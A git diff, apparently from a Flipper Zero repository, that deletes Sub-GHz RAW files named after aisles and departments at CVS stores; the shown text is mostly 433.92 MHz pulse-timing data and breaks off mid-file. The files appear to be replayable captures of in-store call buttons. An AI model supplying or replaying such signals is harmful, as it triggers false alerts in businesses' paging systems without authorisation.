1552 -740 1588 -740 1548 -740 1588 -744 1544 -740 1588 -740 1548 -740 1592 -1504 784 -740 1584 -1500 788 -744 1580 -1504 784 -1504 828 -1500 784 -744 1580 -1504 784 -1500 828 -1500 784 -1504 828 -1500 788 -744 1584 -1504 784 -740 1560 -15964 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Twenty.sub b/assets/resources/subghz/Stores/CVS/Aisle_Twenty.sub deleted file mode 100644 index 7a5e1119d..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Twenty.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -748 1552 -1516 788 -744 1560 -1516 824 -748 1540 -744 1584 -740 1544 -736 1588 -740 1548 -740 1584 -740 1548 -740 1584 -740 1544 -744 1588 -736 1548 -740 1588 -744 1544 -740 1588 -736 1552 -740 1584 -744 1544 -744 1584 -736 1548 -744 1584 -1504 784 -740 1588 -1500 784 -740 1580 -1500 788 -1500 828 -1500 784 -1504 820 -1504 780 -1504 824 -1500 784 -1504 828 -1504 784 -744 1584 -1500 784 -740 1580 -4592 788 -748 1556 -1516 784 -752 1556 -1516 828 -740 1548 -736 1588 -744 1544 -744 1584 -740 1548 -740 1588 -740 1548 -744 1584 -740 1548 -736 1584 -744 1544 -744 1584 -740 1548 -740 1584 -744 1548 -740 1588 -736 1548 -744 1584 -744 1548 -736 1592 -1504 784 -740 1588 -1500 780 -744 1584 -1504 780 -1508 820 -1504 784 -1500 824 -1508 784 -1500 824 -1504 784 -1500 832 -1500 788 -732 1588 -1508 780 -740 1580 -4588 788 -748 1556 -1516 792 -748 1556 -1516 828 -744 1544 -740 1588 -740 1548 -740 1588 -740 1544 -740 1592 -736 1548 -744 1580 -744 1548 -736 1588 -740 1548 -744 1584 -736 1552 -740 1584 -740 1552 -740 1584 -736 1548 -744 1584 -744 1548 -736 1592 -1504 788 -736 1588 -1508 780 -740 1584 -1504 780 -1504 824 -1500 788 -1500 824 -1504 784 -1508 820 -1504 784 -1504 832 -1500 788 -732 1592 -1500 784 -744 1580 -4584 788 -748 1560 -1516 788 -744 1560 -1516 828 -744 1544 -740 1588 -740 1548 -744 1584 -744 1548 -736 1588 -740 1548 -740 1588 -736 1548 -740 1588 -740 1548 -744 1584 -736 1552 -744 1580 -744 1548 -740 1588 -736 1552 -740 1588 -740 1548 -736 1592 -1504 788 -740 1580 -1504 788 -740 1580 -1508 780 -1500 824 -1504 788 -1500 828 -1500 788 -1500 824 -1504 780 -1504 828 -1508 780 -744 1584 -1500 784 -740 1580 -4588 788 -744 1564 -1512 792 -744 1564 -1516 828 -740 1548 -740 1584 -740 1552 -732 1588 -744 1544 -740 1588 -744 1544 -740 1584 -740 1552 -736 1584 -740 1548 -740 1588 -740 1544 -740 1588 -740 1544 -744 1584 -744 1544 -736 1588 -740 1548 -740 1592 -1500 784 -740 1584 -1504 784 -740 1580 -1500 784 -1504 824 -1504 780 -1504 824 -1496 788 -1500 824 -1504 784 -1504 824 -1504 780 -740 1588 -1504 780 -740 1580 -4584 788 -748 1560 -1516 788 -748 1556 -1516 828 -740 1548 -736 1588 -744 1540 -744 1588 -736 1552 -740 1584 -744 1544 -744 1584 -740 1544 -744 1584 -744 1544 -744 1584 -740 1548 -740 1584 -744 1544 -744 1588 -736 1548 -740 1584 -740 1548 -740 1588 -1500 784 -744 1584 -1504 784 -736 1584 -1504 784 -1504 816 -1508 780 -1508 820 -1500 784 -1508 820 -1500 784 -1504 828 -1504 784 -744 1584 -1500 788 -736 1580 -4588 788 -744 1564 -1516 788 -748 1556 -1516 -RAW_Data: 828 -740 1548 -736 1588 -740 1548 -744 1584 -740 1548 -740 1584 -744 1544 -740 1588 -740 1544 -740 1588 -740 1544 -744 1588 -736 1548 -740 1584 -744 1544 -740 1584 -744 1544 -744 1584 -736 1548 -744 1588 -1500 784 -740 1588 -1504 780 -744 1584 -1504 780 -1504 820 -1508 780 -1504 820 -1504 780 -1504 824 -1504 784 -1500 828 -1508 780 -740 1584 -1504 784 -744 1576 -4592 784 -748 1560 -1512 788 -748 1560 -1512 832 -740 1548 -740 1588 -732 1552 -740 1584 -744 1548 -736 1584 -744 1548 -736 1588 -740 1544 -744 1588 -736 1548 -740 1588 -740 1548 -736 1588 -744 1544 -744 1584 -740 1552 -744 1580 -744 1548 -740 1588 -1504 780 -748 1580 -1504 788 -736 1584 -1500 784 -1504 824 -1504 780 -1504 824 -1500 788 -1504 820 -1504 784 -1500 828 -1504 784 -740 1584 -1508 780 -740 1580 -4588 788 -748 1560 -1516 788 -744 1560 -1512 832 -736 1544 -744 1584 -740 1552 -736 1588 -740 1544 -740 1584 -744 1544 -740 1588 -744 1540 -744 1584 -736 1552 -740 1584 -740 1548 -740 1584 -744 1544 -736 1588 -744 1544 -736 1588 -740 1548 -740 1592 -1500 784 -744 1580 -1504 784 -740 1580 -1500 784 -1504 820 -1500 788 -1500 824 -1504 776 -1508 820 -1504 788 -1500 828 -1500 784 -744 1584 -1500 788 -740 1580 -4588 792 -744 1560 -1512 788 -748 1556 -1516 824 -744 1548 -736 1588 -744 1544 -740 1592 -732 1552 -740 1588 -736 1548 -744 1584 -740 1548 -736 1592 -740 1544 -744 1588 -736 1548 -740 1588 -740 1552 -736 1588 -740 1552 -732 1592 -740 1548 -740 1588 -1504 788 -736 1588 -1500 784 -740 1580 -1504 784 -1504 824 -1504 780 -1500 824 -1504 784 -1504 820 -1504 784 -1504 828 -1504 780 -744 1584 -1504 784 -740 1556 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Two.sub b/assets/resources/subghz/Stores/CVS/Aisle_Two.sub deleted file mode 100644 index fbfaa2e3b..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Two.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1560 -1512 792 -744 1552 -1516 832 -740 1544 -740 1584 -744 1544 -740 1584 -744 1544 -744 1580 -736 1552 -740 1580 -744 1548 -736 1588 -740 1548 -740 1584 -740 1548 -740 1584 -740 1548 -740 1584 -744 1548 -732 1588 -744 1544 -740 1588 -1500 784 -744 1576 -1508 780 -1500 828 -1504 784 -740 1580 -1500 784 -1508 824 -1504 776 -744 1580 -1504 780 -1500 828 -1500 788 -740 1584 -1500 784 -740 1580 -4580 792 -748 1556 -1508 792 -744 1560 -1516 828 -740 1548 -740 1588 -736 1544 -748 1580 -744 1548 -740 1584 -740 1548 -740 1584 -740 1544 -748 1584 -736 1552 -740 1584 -744 1544 -740 1588 -744 1544 -740 1588 -736 1552 -740 1584 -744 1540 -744 1588 -1504 780 -744 1580 -1504 784 -1504 828 -1500 788 -740 1580 -1504 784 -1500 832 -1500 784 -744 1580 -1504 784 -1500 828 -1508 780 -736 1588 -1508 784 -740 1580 -4592 792 -740 1560 -1516 792 -748 1556 -1512 832 -740 1552 -740 1584 -740 1552 -740 1584 -744 1544 -740 1592 -740 1544 -744 1588 -740 1548 -744 1584 -736 1556 -736 1588 -740 1548 -740 1584 -748 1544 -740 1588 -736 1552 -744 1580 -744 1548 -740 1584 -1512 784 -736 1584 -1504 784 -1500 832 -1504 784 -736 1584 -1504 784 -1504 828 -1504 780 -744 1580 -1504 788 -1496 832 -1500 784 -744 1584 -1504 784 -744 1576 -4592 788 -744 1564 -1516 788 -748 1556 -1516 832 -740 1548 -744 1584 -736 1552 -744 1584 -740 1552 -740 1584 -744 1544 -744 1584 -744 1544 -744 1584 -740 1548 -740 1584 -744 1548 -740 1584 -740 1548 -744 1584 -740 1548 -740 1584 -744 1548 -740 1588 -1508 784 -740 1580 -1504 784 -1508 824 -1500 788 -744 1576 -1504 784 -1500 832 -1504 784 -740 1580 -1500 784 -1504 828 -1508 780 -744 1584 -1500 784 -744 1576 -4588 788 -744 1564 -1516 788 -752 1552 -1516 832 -740 1548 -744 1584 -740 1544 -748 1580 -744 1548 -740 1584 -744 1544 -744 1588 -740 1544 -748 1584 -740 1544 -744 1588 -740 1548 -744 1584 -740 1548 -736 1588 -744 1544 -744 1584 -740 1548 -744 1588 -1504 784 -740 1580 -1508 784 -1500 824 -1508 784 -744 1580 -1504 784 -1500 828 -1504 788 -736 1584 -1500 784 -1504 828 -1504 780 -744 1584 -1504 784 -740 1580 -4592 788 -748 1560 -1516 788 -748 1560 -1512 832 -740 1544 -744 1584 -740 1548 -740 1588 -740 1544 -748 1580 -744 1548 -740 1584 -744 1548 -736 1592 -740 1548 -740 1584 -744 1548 -740 1588 -744 1540 -748 1584 -740 1544 -744 1584 -744 1548 -740 1588 -1504 784 -740 1580 -1504 784 -1508 824 -1508 780 -744 1580 -1504 784 -1504 828 -1508 780 -744 1580 -1508 780 -1508 824 -1504 784 -740 1584 -1504 784 -744 1576 -4588 788 -744 1560 -1520 788 -748 1556 -1516 -RAW_Data: 828 -744 1544 -740 1588 -740 1548 -744 1580 -744 1544 -740 1584 -744 1548 -740 1588 -744 1544 -740 1584 -744 1548 -740 1584 -740 1548 -744 1580 -748 1540 -744 1584 -740 1548 -740 1588 -744 1548 -736 1588 -1508 780 -744 1580 -1504 784 -1500 832 -1504 784 -740 1576 -1508 784 -1504 828 -1500 784 -744 1580 -1500 784 -1504 824 -1504 780 -748 1584 -1504 784 -744 1576 -4588 792 -744 1556 -1516 788 -752 1556 -1520 824 -740 1548 -744 1584 -744 1544 -744 1584 -744 1544 -740 1588 -736 1548 -744 1584 -744 1544 -736 1592 -740 1544 -744 1584 -740 1544 -748 1580 -744 1544 -744 1580 -748 1544 -744 1580 -748 1544 -740 1588 -1508 784 -740 1580 -1508 780 -1504 824 -1508 780 -744 1576 -1508 780 -1508 820 -1508 780 -744 1580 -1508 776 -1508 824 -1508 780 -744 1580 -1508 780 -744 1580 -4588 784 -756 1552 -1516 788 -752 1552 -1520 824 -748 1540 -748 1580 -748 1540 -748 1584 -744 1540 -748 1580 -744 1544 -744 1580 -748 1544 -748 1580 -748 1540 -748 1576 -748 1540 -748 1580 -748 1540 -748 1584 -744 1540 -748 1580 -748 1540 -748 1584 -1508 780 -748 1572 -1512 776 -1512 820 -1512 776 -752 1568 -1516 776 -1516 812 -1516 772 -752 1568 -1516 772 -1520 812 -1516 772 -756 1568 -1520 768 -756 1564 -4604 772 -764 1540 -1536 768 -768 1540 -1532 808 -764 1524 -760 1568 -760 1524 -764 1564 -760 1528 -760 1568 -756 1532 -760 1564 -764 1524 -764 1564 -760 1528 -764 1564 -764 1528 -760 1564 -760 1532 -760 1564 -760 1528 -764 1564 -764 1528 -760 1568 -1524 764 -764 1560 -1524 764 -1524 808 -1524 764 -764 1560 -1524 764 -1524 808 -1524 768 -760 1560 -1524 764 -1524 808 -1520 768 -760 1564 -1524 764 -760 1540 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Allergy_Department.sub b/assets/resources/subghz/Stores/CVS/Allergy_Department.sub deleted file mode 100644 index 514678537..000000000 --- a/assets/resources/subghz/Stores/CVS/Allergy_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -740 1564 -1512 792 -740 1560 -1516 828 -740 1544 -736 1588 -744 1544 -740 1584 -740 1548 -744 1584 -736 1548 -740 1584 -740 1548 -740 1584 -740 1544 -740 1588 -740 1548 -736 1584 -740 1548 -740 1584 -740 1544 -740 1588 -736 1548 -740 1580 -1504 788 -1496 828 -1500 788 -736 1584 -1500 784 -1500 828 -1504 784 -740 1588 -1496 784 -740 1588 -1500 788 -736 1584 -1504 784 -1496 828 -1504 780 -1500 828 -4584 792 -748 1560 -1508 792 -744 1560 -1516 832 -736 1548 -740 1584 -744 1548 -736 1584 -740 1548 -744 1584 -740 1548 -736 1588 -740 1548 -740 1584 -736 1552 -736 1588 -744 1544 -740 1584 -740 1548 -744 1584 -740 1548 -736 1588 -740 1548 -740 1584 -1504 784 -1500 832 -1500 784 -744 1580 -1500 784 -1504 828 -1500 788 -736 1588 -1504 788 -736 1588 -1500 788 -740 1580 -1500 788 -1500 824 -1500 788 -1504 820 -4588 788 -748 1556 -1520 788 -744 1560 -1516 828 -744 1544 -740 1588 -744 1548 -740 1584 -740 1552 -744 1580 -744 1548 -736 1588 -740 1552 -740 1584 -736 1552 -740 1588 -736 1552 -736 1588 -740 1548 -740 1584 -744 1548 -740 1584 -744 1544 -744 1584 -1500 788 -1496 832 -1504 784 -740 1584 -1504 780 -1504 828 -1500 784 -740 1588 -1504 788 -732 1584 -1508 788 -736 1584 -1500 784 -1504 824 -1496 788 -1504 820 -4584 792 -748 1556 -1516 788 -748 1560 -1508 832 -744 1544 -744 1588 -736 1544 -740 1588 -744 1548 -736 1588 -744 1548 -740 1588 -736 1548 -740 1588 -740 1548 -736 1588 -744 1548 -740 1588 -736 1548 -740 1588 -740 1552 -736 1588 -740 1548 -740 1588 -1504 784 -1500 828 -1508 784 -744 1576 -1500 788 -1504 828 -1504 784 -740 1588 -1500 784 -744 1584 -1500 788 -736 1588 -1496 784 -1504 828 -1500 784 -1504 820 -4588 788 -748 1560 -1512 792 -744 1560 -1520 828 -740 1548 -736 1588 -740 1548 -744 1584 -740 1544 -744 1588 -740 1548 -736 1588 -736 1552 -744 1588 -736 1548 -740 1588 -740 1552 -732 1592 -740 1548 -740 1588 -736 1552 -744 1588 -736 1552 -740 1584 -1504 788 -1500 832 -1504 784 -744 1580 -1500 792 -1500 828 -1508 780 -744 1588 -1504 784 -744 1584 -1504 788 -740 1584 -1504 784 -1504 824 -1500 788 -1504 824 -4588 792 -744 1564 -1512 792 -744 1564 -1512 832 -744 1548 -740 1588 -740 1552 -740 1588 -736 1552 -744 1584 -740 1548 -740 1588 -740 1548 -744 1584 -740 1552 -744 1584 -736 1552 -740 1588 -736 1548 -740 1584 -748 1548 -736 1588 -740 1548 -740 1588 -1500 788 -1500 828 -1500 784 -744 1576 -1512 784 -1500 828 -1504 784 -744 1584 -1500 788 -740 1588 -1504 784 -744 1584 -1500 784 -1504 824 -1504 784 -1504 820 -4592 788 -744 1564 -1516 788 -744 1564 -1516 -RAW_Data: 828 -740 1548 -740 1588 -744 1544 -744 1588 -736 1548 -744 1588 -740 1548 -736 1592 -740 1548 -740 1588 -740 1552 -740 1584 -744 1548 -744 1584 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -744 1584 -1504 780 -1504 832 -1500 784 -744 1580 -1500 788 -1504 828 -1500 784 -744 1588 -1500 788 -740 1588 -1500 788 -736 1584 -1508 784 -1500 824 -1504 788 -1500 824 -4588 792 -748 1556 -1516 792 -744 1564 -1516 828 -744 1548 -736 1592 -740 1552 -732 1592 -744 1548 -740 1588 -740 1544 -748 1588 -736 1552 -744 1588 -736 1548 -744 1588 -740 1548 -740 1588 -744 1544 -740 1588 -740 1548 -740 1592 -736 1548 -740 1588 -1500 788 -1504 828 -1500 788 -736 1584 -1504 788 -1500 832 -1500 788 -736 1592 -1500 788 -740 1584 -1504 784 -744 1584 -1500 784 -1504 824 -1504 784 -1500 824 -4588 792 -744 1564 -1516 784 -752 1556 -1516 832 -736 1552 -740 1592 -736 1548 -740 1588 -740 1548 -740 1588 -740 1552 -740 1584 -744 1548 -740 1588 -740 1548 -740 1592 -740 1544 -740 1588 -744 1548 -740 1588 -740 1548 -740 1592 -736 1552 -740 1588 -1504 780 -1508 828 -1504 780 -744 1580 -1504 784 -1508 828 -1504 780 -744 1588 -1500 784 -744 1588 -1504 784 -744 1580 -1500 788 -1504 824 -1500 788 -1508 820 -4588 792 -748 1560 -1512 792 -748 1556 -1520 828 -740 1548 -740 1588 -744 1544 -744 1580 -748 1548 -736 1588 -740 1548 -744 1588 -736 1552 -740 1588 -740 1548 -740 1588 -740 1552 -736 1588 -740 1552 -740 1588 -736 1552 -744 1584 -740 1548 -740 1588 -1500 788 -1504 828 -1500 788 -736 1584 -1504 784 -1504 828 -1504 788 -740 1588 -1500 788 -740 1588 -1508 784 -736 1584 -1500 788 -1500 828 -1504 780 -1504 804 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Baby_Formula.sub b/assets/resources/subghz/Stores/CVS/Baby_Formula.sub deleted file mode 100644 index 3d980a61c..000000000 --- a/assets/resources/subghz/Stores/CVS/Baby_Formula.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -748 1560 -1508 792 -744 1564 -1508 832 -740 1548 -740 1584 -740 1548 -736 1592 -736 1548 -740 1584 -736 1556 -736 1584 -744 1544 -740 1584 -740 1548 -740 1584 -740 1548 -740 1588 -736 1548 -740 1584 -744 1544 -740 1584 -740 1548 -744 1580 -1508 780 -1504 828 -1504 780 -740 1588 -1496 784 -748 1576 -1504 784 -1504 820 -1504 784 -1504 828 -1500 784 -740 1588 -1496 788 -740 1588 -1500 784 -740 1584 -4580 792 -744 1560 -1512 792 -744 1560 -1512 832 -736 1548 -740 1588 -740 1548 -740 1584 -740 1548 -740 1584 -740 1548 -740 1588 -740 1544 -740 1588 -736 1552 -736 1588 -740 1548 -740 1588 -736 1552 -744 1580 -744 1544 -744 1584 -740 1548 -744 1580 -1504 784 -1504 824 -1504 780 -744 1584 -1504 784 -736 1584 -1500 784 -1504 820 -1504 780 -1504 828 -1500 788 -736 1588 -1500 784 -740 1588 -1500 788 -736 1576 -4584 792 -744 1564 -1512 788 -744 1556 -1516 828 -740 1548 -736 1588 -744 1544 -744 1580 -744 1548 -732 1588 -744 1544 -740 1588 -740 1548 -736 1588 -744 1544 -740 1584 -740 1552 -736 1588 -744 1544 -740 1584 -740 1552 -736 1584 -740 1548 -744 1580 -1504 784 -1500 828 -1504 784 -740 1588 -1500 784 -740 1580 -1504 784 -1500 828 -1500 784 -1500 828 -1504 784 -740 1584 -1504 784 -740 1584 -1504 784 -740 1580 -4584 788 -748 1552 -1516 796 -740 1560 -1516 828 -740 1544 -740 1584 -744 1548 -736 1588 -736 1548 -744 1584 -740 1548 -736 1588 -740 1548 -740 1580 -744 1548 -740 1584 -740 1548 -740 1584 -744 1540 -744 1588 -736 1552 -736 1588 -740 1544 -744 1580 -1508 780 -1500 828 -1504 784 -740 1588 -1500 784 -744 1576 -1504 784 -1504 824 -1496 788 -1504 832 -1496 784 -740 1588 -1500 788 -736 1588 -1504 784 -736 1584 -4588 784 -744 1564 -1516 792 -744 1556 -1516 828 -740 1548 -740 1588 -744 1540 -744 1580 -744 1548 -736 1588 -740 1548 -736 1588 -744 1540 -740 1588 -740 1544 -744 1584 -740 1548 -740 1584 -740 1552 -736 1588 -740 1544 -744 1584 -740 1552 -736 1584 -1500 788 -1504 828 -1500 784 -744 1584 -1500 784 -744 1580 -1500 788 -1500 824 -1500 784 -1500 832 -1504 784 -740 1584 -1504 780 -744 1584 -1500 784 -740 1580 -4584 796 -744 1560 -1512 788 -748 1560 -1512 832 -740 1544 -744 1584 -740 1548 -736 1592 -736 1548 -740 1588 -736 1552 -736 1588 -740 1548 -744 1580 -744 1544 -740 1588 -740 1548 -740 1584 -748 1544 -740 1584 -744 1548 -740 1584 -740 1552 -736 1588 -1504 784 -1504 824 -1504 784 -740 1592 -1500 784 -744 1576 -1508 784 -1500 824 -1504 784 -1504 828 -1504 784 -740 1588 -1504 780 -744 1584 -1504 788 -740 1576 -4584 792 -748 1560 -1508 792 -748 1560 -1520 -RAW_Data: 828 -740 1544 -744 1584 -740 1552 -736 1588 -740 1548 -740 1592 -740 1544 -744 1584 -736 1552 -740 1588 -740 1548 -740 1588 -736 1552 -744 1584 -744 1544 -736 1596 -736 1544 -748 1584 -740 1552 -736 1588 -1504 784 -1504 824 -1504 788 -736 1592 -1500 784 -744 1580 -1508 780 -1508 820 -1504 784 -1504 828 -1504 784 -740 1588 -1508 784 -740 1584 -1504 788 -740 1580 -4592 788 -748 1560 -1516 792 -752 1556 -1516 828 -740 1552 -740 1588 -740 1548 -736 1588 -744 1548 -744 1580 -744 1548 -736 1592 -744 1544 -740 1588 -740 1548 -744 1580 -748 1544 -740 1592 -736 1548 -744 1584 -744 1552 -736 1588 -740 1548 -744 1580 -1508 784 -1504 828 -1508 780 -744 1584 -1504 784 -740 1584 -1500 788 -1500 824 -1508 780 -1504 828 -1508 784 -740 1584 -1504 780 -748 1584 -1504 784 -744 1576 -4596 788 -748 1556 -1516 792 -748 1560 -1516 828 -748 1544 -740 1588 -740 1548 -744 1588 -740 1548 -736 1588 -740 1548 -744 1584 -740 1552 -740 1584 -748 1544 -748 1580 -744 1548 -740 1588 -740 1548 -740 1592 -736 1552 -740 1584 -740 1552 -740 1584 -1508 780 -1504 828 -1504 784 -744 1584 -1508 784 -740 1580 -1504 784 -1504 824 -1504 784 -1504 828 -1508 780 -744 1584 -1508 780 -740 1588 -1504 784 -744 1576 -4592 788 -748 1560 -1516 788 -748 1560 -1516 832 -740 1548 -740 1588 -736 1552 -744 1584 -740 1548 -740 1588 -736 1556 -740 1584 -744 1548 -736 1592 -740 1548 -744 1584 -740 1552 -736 1592 -740 1548 -740 1584 -744 1548 -740 1588 -740 1544 -748 1580 -1504 784 -1504 828 -1504 784 -744 1584 -1500 784 -740 1584 -1504 784 -1504 824 -1500 788 -1508 824 -1504 784 -740 1592 -1500 784 -744 1584 -1504 784 -740 1564 -15964 diff --git a/assets/resources/subghz/Stores/CVS/Batteries.sub b/assets/resources/subghz/Stores/CVS/Batteries.sub deleted file mode 100644 index 9118718ff..000000000 --- a/assets/resources/subghz/Stores/CVS/Batteries.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1556 -1512 788 -748 1560 -1512 824 -740 1548 -740 1584 -736 1548 -744 1580 -740 1548 -736 1588 -744 1544 -736 1584 -740 1552 -736 1588 -740 1544 -736 1588 -740 1548 -740 1588 -736 1544 -744 1584 -740 1548 -740 1584 -740 1544 -740 1592 -1500 784 -740 1580 -1500 784 -1504 820 -1504 784 -1500 824 -1504 780 -1504 820 -1504 784 -1500 828 -1504 784 -740 1584 -1500 784 -744 1584 -1500 784 -736 1584 -4584 788 -752 1556 -1512 784 -748 1560 -1512 832 -744 1544 -740 1580 -740 1552 -744 1584 -736 1548 -740 1588 -740 1548 -740 1584 -740 1548 -744 1580 -744 1544 -740 1584 -740 1548 -744 1584 -740 1544 -740 1588 -740 1548 -740 1584 -740 1548 -736 1592 -1500 788 -736 1580 -1500 788 -1496 828 -1504 780 -1504 820 -1500 788 -1500 824 -1500 784 -1504 828 -1500 780 -740 1592 -1496 788 -736 1584 -1504 788 -740 1576 -4580 796 -740 1564 -1512 792 -748 1556 -1512 832 -736 1552 -744 1584 -740 1548 -736 1584 -744 1548 -740 1584 -744 1544 -740 1588 -740 1548 -736 1588 -736 1548 -740 1592 -740 1544 -740 1584 -740 1548 -744 1588 -736 1548 -736 1588 -740 1548 -744 1584 -1504 784 -744 1576 -1508 784 -1500 824 -1500 788 -1500 824 -1500 788 -1504 820 -1500 784 -1500 832 -1500 784 -740 1588 -1504 784 -740 1584 -1508 780 -740 1580 -4588 788 -748 1560 -1512 792 -744 1560 -1516 828 -744 1544 -744 1584 -740 1548 -736 1588 -740 1548 -740 1588 -740 1548 -740 1584 -744 1548 -740 1584 -744 1544 -740 1588 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -740 1584 -740 1548 -744 1588 -1500 784 -744 1584 -1504 780 -1504 824 -1500 784 -1508 820 -1500 788 -1504 820 -1504 784 -1508 824 -1504 784 -744 1584 -1500 788 -740 1588 -1500 788 -740 1580 -4588 792 -744 1560 -1516 792 -748 1560 -1512 828 -740 1552 -740 1588 -736 1548 -744 1588 -740 1548 -744 1584 -740 1552 -736 1588 -736 1552 -740 1588 -744 1540 -740 1592 -744 1544 -740 1588 -740 1544 -740 1592 -740 1548 -740 1580 -740 1552 -736 1592 -1504 784 -740 1580 -1500 792 -1500 820 -1504 788 -1500 824 -1500 784 -1504 824 -1504 784 -1496 836 -1496 788 -736 1592 -1500 788 -736 1588 -1500 784 -744 1580 -4584 792 -744 1560 -1516 788 -752 1560 -1508 832 -736 1556 -736 1588 -736 1548 -740 1588 -740 1552 -740 1584 -736 1548 -744 1584 -744 1544 -740 1588 -736 1552 -744 1580 -744 1544 -744 1584 -740 1548 -744 1584 -740 1544 -744 1588 -740 1544 -740 1592 -1500 788 -740 1584 -1496 784 -1500 828 -1504 784 -1504 824 -1504 784 -1500 820 -1508 788 -1500 828 -1504 784 -740 1584 -1500 788 -740 1588 -1504 784 -736 1584 -4588 792 -744 1560 -1512 792 -744 1564 -1508 -RAW_Data: 836 -740 1544 -744 1588 -740 1548 -736 1588 -740 1552 -740 1584 -740 1552 -736 1592 -740 1548 -736 1592 -740 1548 -740 1584 -740 1552 -736 1588 -740 1548 -740 1588 -740 1548 -744 1584 -740 1548 -740 1592 -1500 784 -740 1584 -1504 784 -1504 824 -1504 784 -1504 820 -1504 784 -1508 824 -1496 788 -1508 824 -1504 784 -744 1584 -1504 788 -740 1584 -1504 780 -744 1580 -4584 796 -744 1560 -1520 788 -744 1564 -1516 824 -740 1552 -744 1584 -740 1548 -740 1588 -740 1548 -736 1592 -736 1552 -740 1584 -744 1548 -736 1592 -736 1548 -744 1588 -740 1548 -740 1588 -736 1552 -740 1584 -744 1548 -740 1588 -740 1548 -740 1592 -1500 788 -740 1584 -1496 788 -1504 824 -1504 784 -1508 824 -1500 784 -1508 824 -1500 784 -1508 824 -1504 788 -740 1584 -1504 788 -740 1588 -1500 784 -740 1584 -4588 788 -748 1560 -1520 788 -744 1560 -1520 824 -740 1552 -740 1588 -740 1544 -740 1592 -740 1548 -740 1584 -740 1552 -740 1584 -748 1548 -740 1588 -740 1548 -740 1592 -740 1548 -740 1584 -740 1552 -740 1584 -740 1552 -740 1588 -740 1548 -740 1592 -1504 784 -740 1584 -1500 788 -1500 824 -1504 784 -1508 820 -1504 784 -1508 824 -1500 784 -1500 832 -1504 788 -740 1584 -1500 788 -740 1588 -1500 788 -736 1584 -4592 792 -740 1564 -1512 796 -744 1564 -1512 832 -744 1544 -740 1588 -736 1556 -736 1588 -740 1544 -744 1592 -736 1548 -740 1588 -740 1552 -740 1584 -740 1552 -736 1592 -740 1548 -736 1592 -744 1548 -740 1584 -740 1552 -740 1584 -740 1548 -740 1592 -1504 784 -740 1580 -1504 788 -1504 820 -1500 788 -1504 820 -1504 788 -1500 828 -1500 784 -1504 832 -1504 784 -740 1588 -1504 784 -740 1588 -1504 784 -736 1564 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Body_Wash.sub b/assets/resources/subghz/Stores/CVS/Body_Wash.sub deleted file mode 100644 index 6a3e48d3e..000000000 --- a/assets/resources/subghz/Stores/CVS/Body_Wash.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -752 1552 -1516 788 -748 1556 -1516 828 -744 1544 -740 1584 -740 1544 -744 1580 -740 1548 -744 1580 -744 1544 -740 1584 -740 1548 -736 1588 -740 1548 -740 1584 -744 1544 -740 1584 -740 1548 -740 1584 -744 1544 -740 1584 -740 1548 -740 1588 -1504 784 -736 1580 -1504 784 -1500 832 -1500 784 -740 1584 -1504 780 -744 1584 -1504 784 -740 1580 -1504 784 -1500 828 -1504 784 -740 1584 -1508 780 -740 1580 -4588 792 -748 1552 -1516 788 -744 1560 -1512 832 -744 1544 -740 1584 -740 1548 -740 1584 -744 1544 -740 1584 -744 1544 -740 1588 -740 1544 -740 1588 -740 1544 -740 1588 -736 1552 -736 1588 -736 1552 -740 1584 -740 1548 -740 1588 -736 1544 -744 1592 -1500 784 -740 1584 -1496 788 -1504 828 -1504 784 -740 1584 -1508 780 -740 1588 -1500 784 -744 1580 -1504 784 -1500 828 -1504 784 -736 1592 -1500 788 -740 1576 -4592 784 -748 1560 -1512 792 -744 1560 -1516 828 -744 1544 -740 1588 -740 1548 -740 1584 -744 1544 -744 1584 -744 1544 -744 1584 -744 1548 -740 1584 -744 1544 -744 1584 -744 1544 -744 1584 -740 1548 -740 1588 -740 1548 -740 1588 -740 1544 -744 1588 -1500 784 -744 1580 -1508 784 -1504 824 -1504 784 -740 1592 -1504 784 -740 1588 -1504 780 -744 1580 -1508 780 -1504 828 -1504 784 -744 1584 -1504 784 -740 1584 -4588 792 -748 1556 -1516 792 -748 1556 -1516 828 -740 1548 -740 1588 -740 1548 -744 1588 -740 1548 -740 1584 -744 1548 -740 1584 -744 1548 -740 1584 -744 1548 -740 1588 -740 1544 -744 1584 -744 1548 -740 1584 -744 1548 -736 1588 -740 1548 -740 1592 -1508 780 -740 1580 -1508 780 -1504 824 -1504 788 -740 1588 -1504 784 -740 1584 -1508 780 -744 1580 -1504 784 -1504 828 -1504 780 -744 1584 -1508 780 -740 1584 -4592 788 -748 1556 -1516 788 -748 1560 -1512 832 -740 1548 -740 1584 -744 1544 -740 1588 -740 1548 -736 1592 -736 1548 -744 1584 -740 1552 -736 1592 -736 1552 -740 1588 -736 1552 -740 1588 -736 1552 -740 